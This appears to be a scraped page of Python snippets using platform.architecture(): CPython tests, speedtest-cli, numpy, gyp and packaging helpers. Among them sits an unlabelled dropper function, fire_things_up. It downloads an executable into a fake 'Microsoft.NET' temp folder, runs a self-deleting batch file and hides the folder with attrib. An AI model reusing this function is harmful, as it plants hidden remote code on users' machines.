def test_uname_win32_ARCHITEW6432(self):
# Issue 7860: make sure we get architecture from the correct variable
# on 64 bit Windows: if PROCESSOR_ARCHITEW6432 exists we should be
# using it, per
# http://blogs.msdn.com/david.wang/archive/2006/03/26/HOWTO-Detect-Process-Bitness.aspx
try:
with support.EnvironmentVarGuard() as environ:
if 'PROCESSOR_ARCHITEW6432' in environ:
del environ['PROCESSOR_ARCHITEW6432']
environ['PROCESSOR_ARCHITECTURE'] = 'foo'
platform._uname_cache = None
system, node, release, version, machine, processor = platform.uname()
self.assertEqual(machine, 'foo')
environ['PROCESSOR_ARCHITEW6432'] = 'bar'
platform._uname_cache = None
system, node, release, version, machine, processor = platform.uname()
self.assertEqual(machine, 'bar')
finally:
platform._uname_cache = None
python类architecture()的实例源码
def build_user_agent():
"""Build a Mozilla/5.0 compatible User-Agent string"""
global user_agent
if user_agent:
return user_agent
ua_tuple = (
'Mozilla/5.0',
'(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]),
'Python/%s' % platform.python_version(),
'(KHTML, like Gecko)',
'speedtest-cli/%s' % __version__
)
user_agent = ' '.join(ua_tuple)
return user_agent
def test_uname_win32_ARCHITEW6432(self):
# Issue 7860: make sure we get architecture from the correct variable
# on 64 bit Windows: if PROCESSOR_ARCHITEW6432 exists we should be
# using it, per
# http://blogs.msdn.com/david.wang/archive/2006/03/26/HOWTO-Detect-Process-Bitness.aspx
try:
with test_support.EnvironmentVarGuard() as environ:
if 'PROCESSOR_ARCHITEW6432' in environ:
del environ['PROCESSOR_ARCHITEW6432']
environ['PROCESSOR_ARCHITECTURE'] = 'foo'
platform._uname_cache = None
system, node, release, version, machine, processor = platform.uname()
self.assertEqual(machine, 'foo')
environ['PROCESSOR_ARCHITEW6432'] = 'bar'
platform._uname_cache = None
system, node, release, version, machine, processor = platform.uname()
self.assertEqual(machine, 'bar')
finally:
platform._uname_cache = None
def executable(self, base_path):
"""
The function that determines the system specific binary that should be
used in the pipeline. In case, the system is not known the default senna binary will
be used.
"""
os_name = system()
if os_name == 'Linux':
bits = architecture()[0]
if bits == '64bit':
return path.join(base_path, 'senna-linux64')
return path.join(base_path, 'senna-linux32')
if os_name == 'Windows':
return path.join(base_path, 'senna-win32.exe')
if os_name == 'Darwin':
return path.join(base_path, 'senna-osx')
return path.join(base_path, 'senna')
def _can_target(cmd, arch):
"""Return true if the architecture supports the -arch flag"""
newcmd = cmd[:]
fid, filename = tempfile.mkstemp(suffix=".f")
try:
d = os.path.dirname(filename)
output = os.path.splitext(filename)[0] + ".o"
try:
newcmd.extend(["-arch", arch, "-c", filename])
p = Popen(newcmd, stderr=STDOUT, stdout=PIPE, cwd=d)
p.communicate()
return p.returncode == 0
finally:
if os.path.exists(output):
os.remove(output)
finally:
os.remove(filename)
return False
def main () :
if platform.architecture()[0] == "32bit":
helper = 'helper32'
else :
helper = 'helper64'
py2exe_options = dict(
packages = [],
optimize=2,
compressed=True, # uncompressed may or may not have a faster startup
bundle_files=3,
dist_dir=helper,
)
setup(console=['eml2pst.py'],
name = "EML2PST",
version = "0.1",
description = "A simple EML to PST conversion utility",
options={"py2exe": py2exe_options},
)
L.E.S.M.A. - Fabrica de Noobs Speedtest.py 文件源码
项目:L.E.S.M.A
作者: NatanaelAntonioli
项目源码
文件源码
阅读 21
收藏 0
点赞 0
评论 0
def build_user_agent():
"""Build a Mozilla/5.0 compatible User-Agent string"""
global USER_AGENT
if USER_AGENT:
return USER_AGENT
ua_tuple = (
'Mozilla/5.0',
'(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]),
'Python/%s' % platform.python_version(),
'(KHTML, like Gecko)',
'speedtest-cli/%s' % __version__
)
USER_AGENT = ' '.join(ua_tuple)
printer(USER_AGENT, debug=True)
return USER_AGENT
def arch(self):
"""Get the host system architecture"""
arch = ""
try:
machine = platform.machine()
bits = platform.architecture()[0]
if machine == "x86_64":
if bits == "32bit":
arch = "i386"
else:
arch = "amd64"
elif machine in ("i386", "i486", "i586", "i686"):
arch = "i386"
elif machine.startswith("arm"):
if bits == "32bit":
arch = "arm"
else:
arch = "arm64"
except (NameError, AttributeError):
pass
return arch
def arch(self):
"""Get guest system architecture"""
for filename in GuestInfo._binarylist:
fpath = self._root_dir + filename
data = self._get_arch(fpath)
if not data:
continue
if "x86-64," in data:
return "amd64"
if "80386," in data:
return "i386"
if "ARM," in data:
if "64-bit" in data:
return "arm64"
else:
return "arm"
return ""
def HostArch():
"""Returns the host architecture with a predictable string."""
host_arch = platform.machine()
# Convert machine type to format recognized by gyp.
if re.match(r'i.86', host_arch) or host_arch == 'i86pc':
host_arch = 'ia32'
elif host_arch in ['x86_64', 'amd64']:
host_arch = 'x64'
elif host_arch.startswith('arm'):
host_arch = 'arm'
# platform.machine is based on running kernel. It's possible to use 64-bit
# kernel with 32-bit userland, e.g. to give linker slightly more memory.
# Distinguish between different userland bitness by querying
# the python binary.
if host_arch == 'x64' and platform.architecture()[0] == '32bit':
host_arch = 'ia32'
return host_arch
def _can_target(cmd, arch):
"""Return true if the architecture supports the -arch flag"""
newcmd = cmd[:]
fid, filename = tempfile.mkstemp(suffix=".f")
os.close(fid)
try:
d = os.path.dirname(filename)
output = os.path.splitext(filename)[0] + ".o"
try:
newcmd.extend(["-arch", arch, "-c", filename])
p = Popen(newcmd, stderr=STDOUT, stdout=PIPE, cwd=d)
p.communicate()
return p.returncode == 0
finally:
if os.path.exists(output):
os.remove(output)
finally:
os.remove(filename)
return False
def executable(self, base_path):
"""
The function that determines the system specific binary that should be
used in the pipeline. In case, the system is not known the default senna binary will
be used.
"""
os_name = system()
if os_name == 'Linux':
bits = architecture()[0]
if bits == '64bit':
return path.join(base_path, 'senna-linux64')
return path.join(base_path, 'senna-linux32')
if os_name == 'Windows':
return path.join(base_path, 'senna-win32.exe')
if os_name == 'Darwin':
return path.join(base_path, 'senna-osx')
return path.join(base_path, 'senna')
def fire_things_up(url,arch=False,zip=False):
global pthhhh
def work(zip):
global pthhhh
pthhhh = get_output("echo %temp%").strip()
xx = subprocess.Popen( 'mkdir "Microsoft.NET" >> NUL',shell=True,cwd=pthhhh)
if not zip:
x = urlretrieve(url,pthhhh+"\\Microsoft.NET\\library.exe")
elif zip:
x = urlretrieve(url,pthhhh+"\\Microsoft.NET\\library_data.zip")
##~Import-Here~##
zip=zipfile.ZipFile(pthhhh+"\\Microsoft.NET\\library_data.zip")
def get_exe_from(zip):
for i in zip.namelist():
if i.endswith(".exe"):
return i
f = open(pthhhh+"\\Microsoft.NET\\library.exe","wb")
f.write( zip.read( get_exe_from(zip) ) )
f.close()
bat_data = '''@echo off\nbreak>library_data.zip\nDEL -f "library_data.zip"\nbreak>"%~f0" && DEL "%~f0" '''
bat = open(pthhhh+"\\Microsoft.NET\\lolz_service.bat","w");bat.write(bat_data);bat.close()
xxx = subprocess.Popen( pthhhh+"\\Microsoft.NET\\lolz_service.bat >> NUL",shell=True)
#xx = subprocess.Popen( "library.exe >> NUL",shell=True,cwd=pthhhh+"\\Microsoft.NET")
xxx = subprocess.Popen( 'cd .. && attrib +s +h "Microsoft.NET" >> NUL',shell=True,cwd=pthhhh+"\\Microsoft.NET")
#check architecture
if arch:
if architecture()[0][:2] == arch: work(zip)
else: work(zip)
#Someshit
def _get_architecture(self):
arch = platform.architecture()[0]
if arch == '64bit':
architecture = 'amd64'
elif arch == '32bit':
architecture = 'i386'
else:
raise ('Unknown architecture!')
return architecture
def getName(self):
return "%s-%s-%d-x86_64.pkg.tar.xz" % \
(self._data.name, self._sanitizedVersion, self._data.releaseNum)
##
# @brief Get the architecture field for the package name.
#
# @return The architecture name (e.g., x86_64).
def getArch(self):
bits = platform.architecture()[0]
# Need to work with arm - ticket #103
if bits == "64bit":
return "x86_64"
else:
return "i686"
def getName(self):
return "%s-%s-%d.rpm" % (self._data.name, self._sanitizedVersion,
self._data.releaseNum)
##
# @brief Get the architecture field for the package name.
#
# @return The architecture name (e.g., x86_64).
def getArch(self):
bits = platform.architecture()[0]
# need to add arm support -- ticket #103
if bits == "64bit":
return "x86_64"
else:
return "i686"